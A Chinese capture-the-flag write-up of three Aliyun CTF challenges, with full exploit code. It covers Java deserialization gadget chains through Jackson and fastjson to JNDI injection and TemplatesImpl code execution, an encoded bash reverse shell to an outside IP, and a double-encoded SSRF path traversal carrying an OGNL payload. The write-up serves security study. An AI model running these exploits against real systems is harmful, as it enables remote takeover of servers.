阿里云CTF wp
很早之前的比赛,当时忙着打红队没做,后面发现都是很宝藏的题目和考点
ezbean
参考:Fastjson 结合 jdk 原生反序列化的利用手法 ( Aliyun CTF ) - FreeBuf网络安全行业门户
分析
直接给了反序列化位点,但是重写resolveClass实现了黑名单过滤
"java\\.security.*", "java\\.rmi.*", "com\\.fasterxml.*", "com\\.ctf\\.*",
"org\\.springframework.*", "org\\.yaml.*", "javax\\.management\\.remote.*"
然后题目给了个MyBean,正常肯定是需要用到的
看依赖pom
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.60</version>
</dependency>
</dependencies>
fastjson版本1.2.60
常规的直接fastjson一把梭是不可行的,找能打jndi的组件吧
有spring-boot-starter-web的话,那肯定是有jackson依赖的,
BadAttributeValueExpException#toString/构造方法->POJONode#toString->(jackson原生反序列化) 任意getter方法
javaBean的getter可以被调用
然后我们找jndi注入的点
private JMXConnector conn;
...
public String getConnect() throws IOException {
try {
this.conn.connect();
return "success";
} catch (IOException var2) {
return "fail";
}
}
题目暗示我们下一处应该是connect,好,怎么找,这里我卡住了
我和大牛的差距在这了
JMXConnector 接口的实现类在题目环境下仅存在 RMIConnector 一种实现类
怎么找这个类是个很重要的细节,后面想通了
private JMXConnector conn;
首先它肯定是个JMXConnector,然后ctrl进去看它具体内容,哦,是个接口
右键寻找usage (这里注意必须要源码,不能是反编译的class)
肯定找implements clause
然后直接就找到RMIConnector#connect方法
本地可以测一下是不是能打rmi (省时间不调试,直接黑盒测)
测的时候构造一下
RMIConnector rmiConnector = new RMIConnector();
rmiConnector.connect();
构造方法看看造,可以看到一个demo
需要一个JMXSeriviceURL类
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://8.129.42.140:1099/lrr6o1");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
rmiConnector.connect();
vps起一个jndi-injection-master.jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 8.129.42.140
结果connect的时候寄
Exception in thread "main" java.net.MalformedURLException: URL path must begin with /jndi/ or /stub/ or /ior/: /lrr6o1
at javax.management.remote.rmi.RMIConnector.findRMIServer(RMIConnector.java:1934)
at javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:287)
at javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:249)
at com.example.mydemo.qwq.Test.main(Test.java:19)
这个地方不是很理解,希望有评论区老哥教一下
最后应该这样构造
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/ldap://8.129.42.140:1389/lrr6o1");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
rmiConnector.connect();
然后可以弹计算器
rmi也可以
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://8.129.42.140:1099/lrr6o1");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
rmiConnector.connect();
jackson
后面就是jackson调任意getter-》MyBean#Getconnect->#RMIConnector#connect
exp
package com.example.mydemo.qwq;
import com.example.mydemo.bean.MyBean;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class SerializeTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void base64encode_exp(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://8.129.42.140:1099/lrr6o1");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
MyBean myBean = new MyBean("123", "123", rmiConnector);
// rmiConnector.connect();
// jackson
// 删除 jsonNode 的 writeReplace
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(myBean);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);
serialize(val);
unserialize("ser.bin");
base64encode_exp(val);
}
}
结果打的时候发现被Ban了
一看在黑名单里面,那么我们想办法绕过!
学一手fastjson,它也是任意调用getter的存在!
fastjson
JSONObject在高于1.2.48的时候JSONObject和JSONArray都实现了自己的readObject方法
这样可以写任意调用getter方法,思路和jackson类似
BadAttributeValueExpException#toString/构造方法->JSONObject#toString->(fastjson原生反序列化)-> 任意getter方法
同时它自己也有readObject,为了弄清楚高版本下的fastjon是否也存在黑名单的干扰(autoType), 我们调进去看一下,
可以看到阿里处心积虑写了个SecureObjectInputStream包裹输入流
然后再第399行进去,可以看到resolveClass这个经典的用来作黑名单验证的类,
具体来说其实是通过checkAutoType实现,跟进去
后面逻辑很长,放张black hat议题的图
这里 name 就是 classname 类名。expectClass 为 null。
按照这里 autoTypeSupport 应该为 true 才不会 throw error,但是我们实际尝试发现其实并不会报错,但是我们也并没有手动开启 autoType。这是因为在调用 checkAutoType 函数时我们传入的最后一个参数为 Feature.SupportAutoType.mask (见上上上张图)而我们进行比较时用的是 feature & Feature.SupportAutoType.mask ,
这里 feature 就是我们传入的 Feature.SupportAutoType.mask,这样就相当于传入了开启 autoType 的选项。
然后会报找不到构造方法
原因是ParseConfig中,在build之前把这个类缓存了,存在一个static的mapping里,在二次反序列化的时候会在上层代码尝试从缓存获取类中拿到类因而提前返回。也就走不到
JavaBeanInfo.build 这一步,也就不会报错找不到默认构造函数了。因此只需要多打几次 payload 就能成功 rce 。
package com.example.mydemo.qwq;
import com.alibaba.fastjson.JSONObject;
import com.example.mydemo.bean.MyBean;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class SerializeTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void base64encode_exp(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://8.129.42.140:1099/ijg8qk");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
MyBean myBean = new MyBean("123", "123", rmiConnector);
// rmiConnector.connect();
// // jackson
// // 删除 jsonNode 的 writeReplace
// try {
// ClassPool pool = ClassPool.getDefault();
// CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
// CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
// jsonNode.removeMethod(writeReplace);
// ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
// jsonNode.toClass(classLoader, null);
// } catch (Exception e) {
// }
//
// POJONode node = new POJONode(myBean);
// BadAttributeValueExpException val = new BadAttributeValueExpException(null);
// setValue(val, "val", node);
//
// serialize(val);
// unserialize("ser.bin");
//
// base64encode_exp(val);
// fastjson
JSONObject json= new JSONObject();
json.put("YYY", myBean);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
setValue(poc, "val",json);
serialize(poc);
// unserialize("ser.bin");
base64encode_exp(poc);
}
}
非预期 - fastjson rce
https://www.cnpanda.net/sec/928.html
就是直接用文章里的exp打,回头说原理
BadAttributeValueExpException#toString->toJSONString#toString->(任意getter)->TemplatesImpl
package com.example.mydemo.qwq;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class TempFastjson {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void base64encode_exp(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
// byte[] code = getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTI5LjQyLjE0MC8zMzA3IDA+JjE=}|{base64,-d}|{bash,-i}");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
setValue(poc, "val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates,poc);
serialize(hashMap);
// unserialize("ser.bin");
base64encode_exp(hashMap);
}
}
Bypassit 1
jackson任意调用
题目一看就是直接反序列化,那么咱去看pom
pom.xml只有这点
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
我当时看到这个直接裂开,但现在看来已经没什么惊奇的了,这个题就是巅峰极客的babyurl的原型了
BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl
exp
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
// byte[] code = getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTI5LjQyLjE0MC8zMzA3IDA+JjE=}|{base64,-d}|{bash,-i}");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
// 删除 jsonNode 的 writeReplace
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);
serialize(val);
unserialize("ser.bin");
base64encode_exp(val);
}
这个题考骚一点东西还可以更多,比如说把一些getflag的类(可以理解为templateImpl这些rce类)放入黑名单(参考巅峰极客),可以加个SignObject绕过一下,而如果templateImpl和signedObject被放入黑名单,也可以调用JdbcRowSetimpl#getDatabaseMetaData从而造成jndi注入
这里也考考师傅们一个问题,如果BadAttributeException被禁的话,你们可以绕过吗(笑)
The path to Shell
这个题看上去是审javacms
看到路由是在WEB-INF/classes(废话)目录下的org.ctf
app目录
@RequestMapping({"/user"})
public class UserController {
private static final String BACKEND_URL = "http://127.0.0.1:8080/backend/";
public UserController() {
}
@GetMapping({"/{name}"})
public User getUserByName(@PathVariable("name") String name) {
UserClient userResource = (UserClient)Feign.builder().encoder(new GsonEncoder()).decoder(new GsonDecoder()).target(UserClient.class, "http://127.0.0.1:8080/backend/");
return userResource.getUser(name);
}
}
backend目录
有个doGet,一眼ognl表达式注入
但是仔细看是有个filter在过滤的
重点关注
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if (this.localAddresses.contains(servletRequest.getRemoteAddr())) {
filterChain.doFilter(servletRequest, servletResponse);
} else {
HttpServletResponse response = (HttpServletResponse)servletResponse;
response.sendError(403);
}
}
这里只有localAddresses这个string set里的白名单才放行
contains函数看了一下,可能也是有漏洞点的,如果只是字符串包含白名单可能可以绕
白盒看得差不多了就起个环境,把war包放在tomcat的webapp目录下,然后直接去bin目录运行startup.bat,它会自动解压,这样服务就启动了,访问8080/app则可以访问到app
打开界面是个静态界面,输入的name抓包后可以看到会发送/app/user/{name}到后端,这里就被对应的usercontroller收到了,那么{name}这个位置是可控的
看到返回值是
usercontroller转发到了UserResource
@Path("/user")
@Produces({"application/json"})
public class UserResource {
public UserResource() {
}
@GET
@Path("/{name}")
public Response getUserByName(@PathParam("name") String name) {
User user = new User();
user.setName(name);
user.setId(System.currentTimeMillis());
return Response.ok().entity(user).build();
}
}
因为我看这个id应该是从这里算出来的
app#/app/user/{name} -》 backend#/app/{name}
我们要去action才行,由于白名单的存在,所以这个地方可以用来ssrf,为了访问action,马上想到目录穿越
常规的../被编码了,原因是出在Feign这个依赖上
但是这个依赖对于%2F却会替换为/,所以 %2F..%2F..%2F..%2F 就能跳了 (验证失败)
然后url双编码一下,这样可以跳
因为 ActionServlet 本身对路径的参数做了二次解码,所以可以如下构造:
/app/user/..%252F..%252F..%252Fbackend%252Faction%252F%2528%2528%256E%2565%2577%2520%256A%2561%2576%2561%2578%252E%2573%2563%2572%2569%2570%2574%252E%2553%2563%2572%2569%2570%2574%2545%256E%2567%2569%256E%2565%254D%2561%256E%2561%2567%2565%2572%2528%2529%2529%252E%2567%2565%2574%2545%256E%2567%2569%256E%2565%2542%2579%254E%2561%256D%2565%2528%2527%256A%2573%2527%2529%2529%252E%2565%2576%2561%256C%2528%2527%256A%2561%2576%2561%252E%256C%2561%256E%2567%252E%2552%2575%256E%2574%2569%256D%2565%252E%2567%2565%2574%2552%2575%256E%2574%2569%256D%2565%2528%2529%252E%2565%2578%2565%2563%2528%2522%2577%2567%2565%2574%2520%256C%256F%2563%2561%256C%2568%256F%2573%2574%253A%2531%2532%2533%2534%2522%2529%2527%2529
/app/user/..%252F..%252F..%252Fbackend%252Faction%252F
后面的部分就是 ognl 表达式经过二次 url 编码的部分。
((new javax.script.ScriptEngineManager()).getEngineByName('js')).eval('java.lang.Runtime.getRuntime().exec("touch /tmp/pwned")')
这里写个脚本转hex,然后每个字符前面加上百分号就好
或者用
然后再点上面的url encode 而不是(all character),别把数字也编码了,这样就是一次编码了
这里主要学个idea调试war包
idea
默认配置就好
接着操作本地文件
- 如果是jar包运行
java -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 demo-0.0.1-SNAPSHOT.jar
- tomcat
win:
修改tomcat bin目录下的catalina.bat (自己找到在哪,搜一下JAVA_OPTS)
set JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
mac修改tomcat bin目录下的catalina.sh
在catalina.sh中最上方加上
JAVA_OPTS="$JAVA_OPTS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
然后可能jdk版本不匹配
idea修改jdk不用我教了。tomcat的话
修改bin 下的 setclasspath.bat
set JAVA_HOME=D:\Program Files\Java\jdk7\jdk1.7.0_51
set JRE_HOME=D:\Program Files\Java\jdk7\jre7
注意如果debug的时候,可以监听但是没有中断点,可能是没添加索引:
把需要调试用到的class和lib都添加进去(就是全部添加)
随后等待一下,如果红点旁边带勾勾的话,就是成了(有点卡,要多触发几次)
然后下断点在getUserByName这里,可以监控参数
然后黑白盒测试的思维
../肯定是会尝试的,结果明显直接没进到getUserByName
..%2F 这个抽象了点
/app/user/..%2F..%2F..%2F..%2F..%2Fbackend%2Fapp%2F123
也是没进去
action的话可以看到url解码了一次,(但是是action后的字符串),有点迷,不过它要是解码一次,ssrf正常来说要再编码一次,所以尝试双编码
/app/user/..%2F..%2F..%2F..%2F..%2Fbackend%2Fapp%2F123
尝试后发现报的错不太一样,但是也没进controller,看来controller不太行,我去试试下断点action
尝试如下,好了我中了
/app/user/..%252F..%252F..%252Fbackend%252Faction%252F123
懂了,可恶,它前面会自动在你的url前加backend
这题最大的坑就是../不能多一个少一个,而backend它会自动给你加上,这我就有点调不出来了,所幸能命中断点,(并且回显和多打以一个../一样,也就是说调试得到的有效信息比光看回显要多)
后面的故事不讲了,就是ognl注入,找篇文章
一文读懂OGNL漏洞 - 先知社区 (aliyun.com)
action后面payload防止url解析错误,选择urlencode(all characters) ,第二次则直接urlencode普通编码
/app/user/..%252F..%252F..%252Fbackend%252Faction%252F%2528%2528%256e%2565%2577%2520%256a%2561%2576%2561%2578%252e%2573%2563%2572%2569%2570%2574%252e%2553%2563%2572%2569%2570%2574%2545%256e%2567%2569%256e%2565%254d%2561%256e%2561%2567%2565%2572%2528%2529%2529%252e%2567%2565%2574%2545%256e%2567%2569%256e%2565%2542%2579%254e%2561%256d%2565%2528%2527%256a%2573%2527%2529%2529%252e%2565%2576%2561%256c%2528%2527%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2552%2575%256e%2574%2569%256d%2565%252e%2567%2565%2574%2552%2575%256e%2574%2569%256d%2565%2528%2529%252e%2565%2578%2565%2563%2528%2522%2563%2561%256c%2563%2522%2529%2527%2529
可以看见ssrf传过来解码一次(uri),然后它自己又urldecode解码一次(action)